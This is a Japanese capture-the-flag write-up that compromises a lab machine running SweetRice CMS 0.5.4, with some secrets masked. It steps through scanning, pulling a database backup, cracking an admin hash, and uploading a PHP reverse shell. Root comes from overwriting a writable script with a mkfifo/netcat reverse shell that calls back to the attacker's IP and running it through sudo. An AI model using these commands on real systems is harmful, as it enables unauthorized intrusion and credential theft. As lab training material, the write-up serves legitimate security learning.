一部を■で隠しています。
第一段階:ユーザーフラグを得る
とりあえずnmapとgobuster
$ export IP=[yourIP] $ nmap -sC -sV $IP > nmap.txt 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt > gobuster.txt http://$IP/content (Status: 301) http://$IP/index.html (Status: 200)
サイトにアクセスしてみよう。
/
にアクセスしてみてもApacheのデフォルトページに飛ばされる。
/content/
にアクセスしてみると、とあるCMSで作られたサイトが表示される。
SweetRiceというCMSらしい。
SweetRice
‘/content/js/SweetRice.js`を見ると、バージョンは0.5.4とのこと。
searchsploitでCVEを探してみる。
$ searchsploit sweetrice ---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- SweetRice 0.5.3 - Remote File Inclusion | php/webapps/10246.txt SweetRice 0.6.7 - Multiple Vulnerabilities | php/webapps/15413.txt SweetRice 1.5.1 - Arbitrary File Download | php/webapps/40698.py SweetRice 1.5.1 - Arbitrary File Upload | php/webapps/40716.py SweetRice 1.5.1 - Backup Disclosure | php/webapps/40718.txt SweetRice 1.5.1 - Cross-Site Request Forgery | php/webapps/40692.html SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution | php/webapps/40700.html SweetRice < 0.6.4 - 'FCKeditor' Arbitrary File Upload | php/webapps/14184.txt ---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
ほう。色々出てくる。今のバージョンだとほとんど使えそう。
PHP Code Executionが気になるので見てみるが、CSRFか。ダメだな。
Arbitrary File Uploadでphpファイルを上げればRCEできそう…ユーザー名とパスワードがいるのか…
Backup Disclosureはどうだろう。
/inc/mysql_backupにアクセスするとデータベースの中身が抜ける。
ざっくり見てみるとパスワードっぽいのがあるのでCrackStationしてみる。
■■■■■■■■■■■■■■■■ md5 ■■■■■■■
adminページを探すとCVE情報の中に/content/as/
があって、見てみるとログインページが表示される。
admin:■■■■■■■
をやってみるがダメ、よくよく見るとadmin=managerみたいな感じになってるっぽいのでmanager:■■■■■■■
とするとログインできる。
よし、ユーザーとパスワードが手に入った。
Arbitrary File Uploadをやる。PoCを持ってくる。
$ searchsploit -p 40716 Exploit: SweetRice 1.5.1 - Arbitrary File Upload URL: https://www.exploit-db.com/exploits/40716 Path: /usr/share/exploitdb/exploits/php/webapps/40716.py File Type: Python script, ASCII text executable, with CRLF line terminators $ cp /usr/share/exploitdb/exploits/php/webapps/40716.py 40716.py
ok. Reverse-Shellする。使うのはいつものこれ。これをshell.php5にして保存しておく。php5なのはPoCのコードにそう書いてあったから。
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub
あとは40716.pyの設定を以下のようにして、> nc -vnlp 30303
で待って、動かすとシェルが取れる。
host = "[yourIP]/content" username = "manager" password = "■■■■■■■■" filename = "shell.php5"
シェルが取れたら適当にホームディレクトリを散策するとフラグが取れる。
$ cd home $ ls itguy $ cd itguy $ ls Desktop Documents Downloads Music Pictures Public Templates Videos backup.pl examples.desktop mysql_login.txt user.txt $ cat user.txt ■■■■■■■■■■■■■■■■■■■■■■■■
第二段階:権限昇格
適当にSUIDとSUDOを確認するとSUDOで気になる感じになっている。
$ sudo -l Matching Defaults entries for www-data on THM-Chal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on THM-Chal: (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
細かく見てみよう。
$ cat backup.pl #!/usr/bin/perl system("sh", "/etc/copy.sh"); $ cat /etc/copy.sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f $ ls -la /etc/copy.sh -rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
リバースシェルが書かれている。copy.shは編集可能なので書き換えて更にリバースシェルすることにしよう。
自分のマシン側で> nc -vnlp 30304
と待っておいて、以下でルートのシェルを奪取しよう。
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [yourIP] 30304 >/tmp/f" > /etc/copy.sh $ sudo /usr/bin/perl /home/itguy/backup.pl rm: cannot remove '/tmp/f': No such file or directory
これでルートのシェルが得られるので、あとは取っていくだけ。
# id uid=0(root) gid=0(root) groups=0(root) # cd /root ls root.txt # cat root.txt ■■■■■■■■■■■■■■■■